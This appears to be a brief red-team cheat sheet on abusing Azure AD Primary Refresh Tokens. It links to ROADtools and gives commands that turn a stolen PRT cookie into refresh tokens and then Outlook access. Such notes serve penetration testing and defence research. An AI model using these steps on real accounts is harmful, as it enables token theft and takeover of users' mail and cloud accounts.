FutureSec, LLC

PRT Abuse

https://red.0xbad53c.com/red-team-operations/azure-and-o365/prt-abuse-from-userland-with-cobalt-strike

https://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx)

https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/

https://github.com/dirkjanm/roadtools_hybrid

https://github.com/dirkjanm/ROADtoken

  1. Obtain a PRT via preferred method above.
  2. Use the PRT cookie (starts with eyJ) to get your tokens
    3. .\roadtx.exe gettoken --prt-cookie eyJ...
  3. Cat the .roadtools_auth file to get the refresh_token.
    4. Get-Content .\.roadtools_auth
Invoke-RefreshToOutlookToken -domain domain.com -refreshToken

FutureSec, LLC